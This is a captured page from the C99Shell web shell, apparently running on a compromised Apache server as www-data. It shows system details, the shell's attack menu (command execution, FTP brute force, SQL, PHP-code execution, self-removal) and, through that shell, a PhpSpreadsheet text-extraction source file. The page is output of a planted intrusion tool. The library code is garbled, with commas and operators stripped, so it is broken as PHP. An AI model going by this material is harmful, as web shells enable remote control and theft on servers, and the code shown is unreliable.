!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/   drwxr-xr-x
Free 13.14 GB of 57.97 GB (22.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Extract.php (11.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Calculation\TextData;

use 
PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled;
use 
PhpOffice\PhpSpreadsheet\Calculation\Exception as CalcExp;
use 
PhpOffice\PhpSpreadsheet\Calculation\Functions;
use 
PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError;
use 
PhpOffice\PhpSpreadsheet\Shared\StringHelper;

class 
Extract
{
    use 
ArrayEnabled;

    
/**
     * LEFT.
     *
     * @param mixed $value String value from which to extract characters
     *                         Or can be an array of values
     * @param mixed $chars The number of characters to extract (as an integer)
     *                         Or can be an array of values
     *
     * @return array|string The joined string
     *         If an array of values is passed for the $value or $chars arguments, then the returned result
     *            will also be an array with matching dimensions
     */
    
public static function left($value$chars 1)
    {
        if (
is_array($value) || is_array($chars)) {
            return 
self::evaluateArrayArguments([self::class, __FUNCTION__], $value$chars);
        }

        try {
            
$value Helpers::extractString($value);
            
$chars Helpers::extractInt($chars01);
        } catch (
CalcExp $e) {
            return 
$e->getMessage();
        }

        return 
mb_substr($value0$chars'UTF-8');
    }

    
/**
     * MID.
     *
     * @param mixed $value String value from which to extract characters
     *                         Or can be an array of values
     * @param mixed $start Integer offset of the first character that we want to extract
     *                         Or can be an array of values
     * @param mixed $chars The number of characters to extract (as an integer)
     *                         Or can be an array of values
     *
     * @return array|string The joined string
     *         If an array of values is passed for the $value, $start or $chars arguments, then the returned result
     *            will also be an array with matching dimensions
     */
    
public static function mid($value$start$chars)
    {
        if (
is_array($value) || is_array($start) || is_array($chars)) {
            return 
self::evaluateArrayArguments([self::class, __FUNCTION__], $value$start$chars);
        }

        try {
            
$value Helpers::extractString($value);
            
$start Helpers::extractInt($start1);
            
$chars Helpers::extractInt($chars0);
        } catch (
CalcExp $e) {
            return 
$e->getMessage();
        }

        return 
mb_substr($value, --$start$chars'UTF-8');
    }

    
/**
     * RIGHT.
     *
     * @param mixed $value String value from which to extract characters
     *                         Or can be an array of values
     * @param mixed $chars The number of characters to extract (as an integer)
     *                         Or can be an array of values
     *
     * @return array|string The joined string
     *         If an array of values is passed for the $value or $chars arguments, then the returned result
     *            will also be an array with matching dimensions
     */
    
public static function right($value$chars 1)
    {
        if (
is_array($value) || is_array($chars)) {
            return 
self::evaluateArrayArguments([self::class, __FUNCTION__], $value$chars);
        }

        try {
            
$value Helpers::extractString($value);
            
$chars Helpers::extractInt($chars01);
        } catch (
CalcExp $e) {
            return 
$e->getMessage();
        }

        return 
mb_substr($valuemb_strlen($value'UTF-8') - $chars$chars'UTF-8');
    }

    
/**
     * TEXTBEFORE.
     *
     * @param mixed $text the text that you're searching
     *                    Or can be an array of values
     * @param null|array|string $delimiter the text that marks the point before which you want to extract
     *                                 Multiple delimiters can be passed as an array of string values
     * @param mixed $instance The instance of the delimiter after which you want to extract the text.
     *                            By default, this is the first instance (1).
     *                            A negative value means start searching from the end of the text string.
     *                        Or can be an array of values
     * @param mixed $matchMode Determines whether the match is case-sensitive or not.
     *                           0 - Case-sensitive
     *                           1 - Case-insensitive
     *                        Or can be an array of values
     * @param mixed $matchEnd Treats the end of text as a delimiter.
     *                          0 - Don't match the delimiter against the end of the text.
     *                          1 - Match the delimiter against the end of the text.
     *                        Or can be an array of values
     * @param mixed $ifNotFound value to return if no match is found
     *                             The default is a #N/A Error
     *                          Or can be an array of values
     *
     * @return mixed|mixed[] the string extracted from text before the delimiter; or the $ifNotFound value
     *         If an array of values is passed for any of the arguments, then the returned result
     *            will also be an array with matching dimensions
     */
    
public static function before($text$delimiter$instance 1$matchMode 0$matchEnd 0$ifNotFound '#N/A')
    {
        if (
is_array($text) || is_array($instance) || is_array($matchMode) || is_array($matchEnd) || is_array($ifNotFound)) {
            return 
self::evaluateArrayArgumentsIgnore([self::class, __FUNCTION__], 1$text$delimiter$instance$matchMode$matchEnd$ifNotFound);
        }

        
$text Helpers::extractString($text ?? '');
        
$instance = (int) $instance;
        
$matchMode = (int) $matchMode;
        
$matchEnd = (int) $matchEnd;

        
$split self::validateTextBeforeAfter($text$delimiter$instance$matchMode$matchEnd$ifNotFound);
        if (
is_string($split)) {
            return 
$split;
        }
        if (
Helpers::extractString(Functions::flattenSingleValue($delimiter ?? '')) === '') {
            return (
$instance 0) ? '' $text;
        }

        
// Adjustment for a match as the first element of the split
        
$flags self::matchFlags($matchMode);
        
$delimiter self::buildDelimiter($delimiter);
        
$adjust preg_match('/^' $delimiter "\$/{$flags}"$split[0]);
        
$oddReverseAdjustment count($split) % 2;

        
$split = ($instance 0)
            ? 
array_slice($split0max(count($split) - (abs($instance) * 1) - $adjust $oddReverseAdjustment0))
            : 
array_slice($split0$instance $adjust);

        return 
implode(''$split);
    }

    
/**
     * TEXTAFTER.
     *
     * @param mixed $text the text that you're searching
     * @param null|array|string $delimiter the text that marks the point before which you want to extract
     *                                 Multiple delimiters can be passed as an array of string values
     * @param mixed $instance The instance of the delimiter after which you want to extract the text.
     *                          By default, this is the first instance (1).
     *                          A negative value means start searching from the end of the text string.
     *                        Or can be an array of values
     * @param mixed $matchMode Determines whether the match is case-sensitive or not.
     *                            0 - Case-sensitive
     *                            1 - Case-insensitive
     *                         Or can be an array of values
     * @param mixed $matchEnd Treats the end of text as a delimiter.
     *                          0 - Don't match the delimiter against the end of the text.
     *                          1 - Match the delimiter against the end of the text.
     *                        Or can be an array of values
     * @param mixed $ifNotFound value to return if no match is found
     *                             The default is a #N/A Error
     *                          Or can be an array of values
     *
     * @return mixed|mixed[] the string extracted from text before the delimiter; or the $ifNotFound value
     *         If an array of values is passed for any of the arguments, then the returned result
     *            will also be an array with matching dimensions
     */
    
public static function after($text$delimiter$instance 1$matchMode 0$matchEnd 0$ifNotFound '#N/A')
    {
        if (
is_array($text) || is_array($instance) || is_array($matchMode) || is_array($matchEnd) || is_array($ifNotFound)) {
            return 
self::evaluateArrayArgumentsIgnore([self::class, __FUNCTION__], 1$text$delimiter$instance$matchMode$matchEnd$ifNotFound);
        }

        
$text Helpers::extractString($text ?? '');
        
$instance = (int) $instance;
        
$matchMode = (int) $matchMode;
        
$matchEnd = (int) $matchEnd;

        
$split self::validateTextBeforeAfter($text$delimiter$instance$matchMode$matchEnd$ifNotFound);
        if (
is_string($split)) {
            return 
$split;
        }
        if (
Helpers::extractString(Functions::flattenSingleValue($delimiter ?? '')) === '') {
            return (
$instance 0) ? '' $text;
        }

        
// Adjustment for a match as the first element of the split
        
$flags self::matchFlags($matchMode);
        
$delimiter self::buildDelimiter($delimiter);
        
$adjust preg_match('/^' $delimiter "\$/{$flags}"$split[0]);
        
$oddReverseAdjustment count($split) % 2;

        
$split = ($instance 0)
            ? 
array_slice($splitcount($split) - ((int) abs($instance 1) * 2) - $adjust $oddReverseAdjustment)
            : 
array_slice($split$instance $adjust);

        return 
implode(''$split);
    }

    
/**
     * @param null|array|string $delimiter
     * @param int $matchMode
     * @param int $matchEnd
     * @param mixed $ifNotFound
     *
     * @return array|string
     */
    
private static function validateTextBeforeAfter(string $text$delimiterint $instance$matchMode$matchEnd$ifNotFound)
    {
        
$flags self::matchFlags($matchMode);
        
$delimiter self::buildDelimiter($delimiter);

        if (
preg_match('/' $delimiter "/{$flags}"$text) === && $matchEnd === 0) {
            return 
$ifNotFound;
        }

        
$split preg_split('/' $delimiter "/{$flags}"$text0PREG_SPLIT_NO_EMPTY PREG_SPLIT_DELIM_CAPTURE);
        if (
$split === false) {
            return 
ExcelError::NA();
        }

        if (
$instance === || abs($instance) > StringHelper::countCharacters($text)) {
            return 
ExcelError::VALUE();
        }

        if (
$matchEnd === && (abs($instance) > floor(count($split) / 2))) {
            return 
ExcelError::NA();
        } elseif (
$matchEnd !== && (abs($instance) - ceil(count($split) / 2))) {
            return 
ExcelError::NA();
        }

        return 
$split;
    }

    
/**
     * @param null|array|string $delimiter the text that marks the point before which you want to extract
     *                                 Multiple delimiters can be passed as an array of string values
     */
    
private static function buildDelimiter($delimiter): string
    
{
        if (
is_array($delimiter)) {
            
$delimiter Functions::flattenArray($delimiter);
            
$quotedDelimiters array_map(
                function (
$delimiter) {
                    return 
preg_quote($delimiter ?? '');
                },
                
$delimiter
            
);
            
$delimiters implode('|'$quotedDelimiters);

            return 
'(' $delimiters ')';
        }

        return 
'(' preg_quote($delimiter ?? '') . ')';
    }

    private static function 
matchFlags(int $matchMode): string
    
{
        return (
$matchMode === 0) ? 'mu' 'miu';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.014 ]--